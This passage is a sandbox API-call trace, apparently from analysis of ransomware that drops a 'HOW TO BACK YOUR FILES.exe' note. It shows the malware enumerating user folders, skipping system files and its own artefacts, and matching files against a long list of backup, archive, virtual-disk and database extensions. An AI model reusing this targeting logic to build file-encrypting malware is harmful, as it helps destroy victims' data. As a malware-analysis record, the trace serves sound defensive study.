	[0036.531] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dfc1b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.531] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.532] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.532] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.532] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.532] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.532] lstrlenW (lpString="desktop.ini") returned 11
	[0036.532] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\*") returned 30
	[0036.532] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.532] lstrlenW (lpString="desktop.ini") returned 11
	[0036.532] lstrlenW (lpString="Apollon865") returned 10
	[0036.532] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.532] lstrlenW (lpString=".dll") returned 4
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.532] lstrlenW (lpString=".lnk") returned 4
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.532] lstrlenW (lpString=".ini") returned 4
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.532] lstrlenW (lpString=".sys") returned 4
	[0036.532] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.532] lstrlenW (lpString="desktop.ini") returned 11
	[0036.532] lstrlenW (lpString="bak") returned 3
	[0036.532] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.532] lstrlenW (lpString="ba_") returned 3
	[0036.532] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.532] lstrlenW (lpString="dbb") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.533] lstrlenW (lpString="vmdk") returned 4
	[0036.533] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.533] lstrlenW (lpString="rar") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.533] lstrlenW (lpString="zip") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.533] lstrlenW (lpString="tgz") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.533] lstrlenW (lpString="vbox") returned 4
	[0036.533] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.533] lstrlenW (lpString="vdi") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.533] lstrlenW (lpString="vhd") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.533] lstrlenW (lpString="vhdx") returned 4
	[0036.533] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.533] lstrlenW (lpString="avhd") returned 4
	[0036.533] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.533] lstrlenW (lpString="db") returned 2
	[0036.533] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.533] lstrlenW (lpString="db2") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.533] lstrlenW (lpString="db3") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.533] lstrlenW (lpString="dbf") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.533] lstrlenW (lpString="mdf") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.533] lstrlenW (lpString="mdb") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.533] lstrlenW (lpString="sql") returned 3
	[0036.533] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.533] lstrlenW (lpString="sqlite") returned 6
	[0036.533] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.533] lstrlenW (lpString="sqlite3") returned 7
	[0036.533] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.534] lstrlenW (lpString="sqlitedb") returned 8
	[0036.534] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.534] lstrlenW (lpString="xml") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.534] lstrlenW (lpString="$er") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.534] lstrlenW (lpString="4dd") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.534] lstrlenW (lpString="4dl") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.534] lstrlenW (lpString="^^^") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.534] lstrlenW (lpString="abs") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.534] lstrlenW (lpString="abx") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.534] lstrlenW (lpString="accdb") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.534] lstrlenW (lpString="accdc") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.534] lstrlenW (lpString="accde") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.534] lstrlenW (lpString="accdr") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.534] lstrlenW (lpString="accdt") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.534] lstrlenW (lpString="accdw") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.534] lstrlenW (lpString="accft") returned 5
	[0036.534] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.534] lstrlenW (lpString="adb") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.534] lstrlenW (lpString="adb") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.534] lstrlenW (lpString="ade") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.534] lstrlenW (lpString="adf") returned 3
	[0036.534] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.535] lstrlenW (lpString="adn") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.535] lstrlenW (lpString="adp") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.535] lstrlenW (lpString="alf") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.535] lstrlenW (lpString="ask") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.535] lstrlenW (lpString="btr") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.535] lstrlenW (lpString="cat") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.535] lstrlenW (lpString="cdb") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.535] lstrlenW (lpString="ckp") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.535] lstrlenW (lpString="cma") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.535] lstrlenW (lpString="cpd") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.535] lstrlenW (lpString="dacpac") returned 6
	[0036.535] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.535] lstrlenW (lpString="dad") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.535] lstrlenW (lpString="dadiagrams") returned 10
	[0036.535] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.535] lstrlenW (lpString="daschema") returned 8
	[0036.535] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.535] lstrlenW (lpString="db-journal") returned 10
	[0036.535] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.535] lstrlenW (lpString="db-shm") returned 6
	[0036.535] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.535] lstrlenW (lpString="db-wal") returned 6
	[0036.535] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.535] lstrlenW (lpString="dbc") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.535] lstrlenW (lpString="dbs") returned 3
	[0036.535] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.535] lstrlenW (lpString="dbt") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.536] lstrlenW (lpString="dbv") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.536] lstrlenW (lpString="dbx") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.536] lstrlenW (lpString="dcb") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.536] lstrlenW (lpString="dct") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.536] lstrlenW (lpString="dcx") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.536] lstrlenW (lpString="ddl") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.536] lstrlenW (lpString="dlis") returned 4
	[0036.536] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.536] lstrlenW (lpString="dp1") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.536] lstrlenW (lpString="dqy") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.536] lstrlenW (lpString="dsk") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.536] lstrlenW (lpString="dsn") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.536] lstrlenW (lpString="dtsx") returned 4
	[0036.536] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.536] lstrlenW (lpString="dxl") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.536] lstrlenW (lpString="eco") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.536] lstrlenW (lpString="ecx") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.536] lstrlenW (lpString="edb") returned 3
	[0036.536] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.537] lstrlenW (lpString="epim") returned 4
	[0036.537] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.537] lstrlenW (lpString="fcd") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.537] lstrlenW (lpString="fdb") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.537] lstrlenW (lpString="fic") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.537] lstrlenW (lpString="flexolibrary") returned 12
	[0036.537] lstrlenW (lpString="fm5") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.537] lstrlenW (lpString="fmp") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.537] lstrlenW (lpString="fmp12") returned 5
	[0036.537] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.537] lstrlenW (lpString="fmpsl") returned 5
	[0036.537] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.537] lstrlenW (lpString="fol") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.537] lstrlenW (lpString="fp3") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.537] lstrlenW (lpString="fp4") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.537] lstrlenW (lpString="fp5") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.537] lstrlenW (lpString="fp7") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.537] lstrlenW (lpString="fpt") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.537] lstrlenW (lpString="frm") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.537] lstrlenW (lpString="gdb") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.537] lstrlenW (lpString="gdb") returned 3
	[0036.537] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.537] lstrlenW (lpString="grdb") returned 4
	[0036.538] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.538] lstrlenW (lpString="gwi") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.538] lstrlenW (lpString="hdb") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.538] lstrlenW (lpString="his") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.538] lstrlenW (lpString="ib") returned 2
	[0036.538] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.538] lstrlenW (lpString="idb") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.538] lstrlenW (lpString="ihx") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.538] lstrlenW (lpString="itdb") returned 4
	[0036.538] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.538] lstrlenW (lpString="itw") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.538] lstrlenW (lpString="jet") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.538] lstrlenW (lpString="jtx") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.538] lstrlenW (lpString="kdb") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.538] lstrlenW (lpString="kexi") returned 4
	[0036.538] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.538] lstrlenW (lpString="kexic") returned 5
	[0036.538] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.538] lstrlenW (lpString="kexis") returned 5
	[0036.538] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.538] lstrlenW (lpString="lgc") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.538] lstrlenW (lpString="lwx") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.538] lstrlenW (lpString="maf") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.538] lstrlenW (lpString="maq") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.538] lstrlenW (lpString="mar") returned 3
	[0036.538] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.539] lstrlenW (lpString="marshal") returned 7
	[0036.539] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.539] lstrlenW (lpString="mas") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.539] lstrlenW (lpString="mav") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.539] lstrlenW (lpString="maw") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.539] lstrlenW (lpString="mdbhtml") returned 7
	[0036.539] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.539] lstrlenW (lpString="mdn") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.539] lstrlenW (lpString="mdt") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.539] lstrlenW (lpString="mfd") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.539] lstrlenW (lpString="mpd") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.539] lstrlenW (lpString="mrg") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.539] lstrlenW (lpString="mud") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.539] lstrlenW (lpString="mwb") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.539] lstrlenW (lpString="myd") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.539] lstrlenW (lpString="ndf") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.539] lstrlenW (lpString="nnt") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.539] lstrlenW (lpString="nrmlib") returned 6
	[0036.539] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.539] lstrlenW (lpString="ns2") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.539] lstrlenW (lpString="ns3") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.539] lstrlenW (lpString="ns4") returned 3
	[0036.539] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.539] lstrlenW (lpString="nsf") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.540] lstrlenW (lpString="nv") returned 2
	[0036.540] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.540] lstrlenW (lpString="nv2") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.540] lstrlenW (lpString="nwdb") returned 4
	[0036.540] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.540] lstrlenW (lpString="nyf") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.540] lstrlenW (lpString="odb") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.540] lstrlenW (lpString="odb") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.540] lstrlenW (lpString="oqy") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.540] lstrlenW (lpString="ora") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.540] lstrlenW (lpString="orx") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.540] lstrlenW (lpString="owc") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.540] lstrlenW (lpString="p96") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.540] lstrlenW (lpString="p97") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.540] lstrlenW (lpString="pan") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.540] lstrlenW (lpString="pdb") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.540] lstrlenW (lpString="pdm") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.540] lstrlenW (lpString="pnz") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.540] lstrlenW (lpString="qry") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.540] lstrlenW (lpString="qvd") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.540] lstrlenW (lpString="rbf") returned 3
	[0036.540] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.541] lstrlenW (lpString="rctd") returned 4
	[0036.541] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.541] lstrlenW (lpString="rod") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.541] lstrlenW (lpString="rodx") returned 4
	[0036.541] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.541] lstrlenW (lpString="rpd") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.541] lstrlenW (lpString="rsd") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.541] lstrlenW (lpString="sas7bdat") returned 8
	[0036.541] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.541] lstrlenW (lpString="sbf") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.541] lstrlenW (lpString="scx") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.541] lstrlenW (lpString="sdb") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.541] lstrlenW (lpString="sdc") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.541] lstrlenW (lpString="sdf") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.541] lstrlenW (lpString="sis") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.541] lstrlenW (lpString="spq") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.541] lstrlenW (lpString="te") returned 2
	[0036.541] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.541] lstrlenW (lpString="teacher") returned 7
	[0036.541] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.541] lstrlenW (lpString="tmd") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.541] lstrlenW (lpString="tps") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.541] lstrlenW (lpString="trc") returned 3
	[0036.541] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.541] lstrlenW (lpString="trc") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.542] lstrlenW (lpString="trm") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.542] lstrlenW (lpString="udb") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.542] lstrlenW (lpString="udl") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.542] lstrlenW (lpString="usr") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.542] lstrlenW (lpString="v12") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.542] lstrlenW (lpString="vis") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.542] lstrlenW (lpString="vpd") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.542] lstrlenW (lpString="vvv") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.542] lstrlenW (lpString="wdb") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.542] lstrlenW (lpString="wmdb") returned 4
	[0036.542] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.542] lstrlenW (lpString="wrk") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.542] lstrlenW (lpString="xdb") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.542] lstrlenW (lpString="xld") returned 3
	[0036.542] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.542] lstrlenW (lpString="xmlff") returned 5
	[0036.542] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.542] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.542] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.542] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.542] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0036.542] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0036.542] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Recent", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
